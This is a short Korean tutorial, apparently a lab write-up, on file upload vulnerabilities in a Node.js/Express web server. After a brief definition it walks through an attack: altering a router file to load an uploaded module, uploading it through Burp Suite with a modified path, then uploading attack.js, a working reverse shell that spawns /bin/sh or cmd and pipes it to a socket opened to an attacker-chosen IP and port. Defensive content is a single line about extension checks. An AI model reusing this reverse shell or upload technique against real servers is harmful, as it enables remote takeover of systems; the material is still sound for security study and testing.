파일 업로드 공격
파일 업로드 공격
1. 파일 업로드 취약점이란 ?
- 파일 업로드 취약점은 웹 서버가 제공하는 파일 업로드 기능을 이용하여 확장자 검증 미흡으로 서버에 악의적인 파일이 업로드가 가능한 취약점이다.
- 공격자는 서버에서 실행될 수 있는 파일을 업로드하여 공격자가 원하는 기능을 동작하게 한다. 적절한 검증 없이 파일 업로드 기능을 제공할 때 발생하는 취약점이므로 확장자에 대한 검증을 적용해야 한다.
2. 공격 방법
파일 다운로드 공격에서 다운받은 filedown.js 파일의 소스코드를 분석하여 아래와 같은 라우터 기능을 추가한다.
router.use('/attack', require('../../../upload/attack.js'));
수정된 filedown.js를 Burpsuite를 통해 업로드 경로를 수정하여 업로드한다.
filedown.js가 업로드 되는 것이 확인 되었으니 attack.js를 만들어 업로드를 진행해본다.
var express = require("express");
var router = express.Router();
router.get("/", function(req, res) {
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh",[]); // 서버 OS가 리눅스 일 때
sh = cp.spawn("cmd",[]); // 서버 OS가 윈도우 일 때
var client = new net.Socket();
client.connect(req.query.port,req.query.ip,function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
});
module.exports = router;
attack.js가 정상적으로 업로드 된 것을 확인해 볼 수 있다.
업로드가 되었으니 웹쉘을 실행해본다.
웹쉘 실행결과 정상적으로 실행된다는 것을 확인할 수 있고, js파일 업로드와 업로드 된 파일이 실행되는 것으로 업로드 공격을 진행할 수 있다.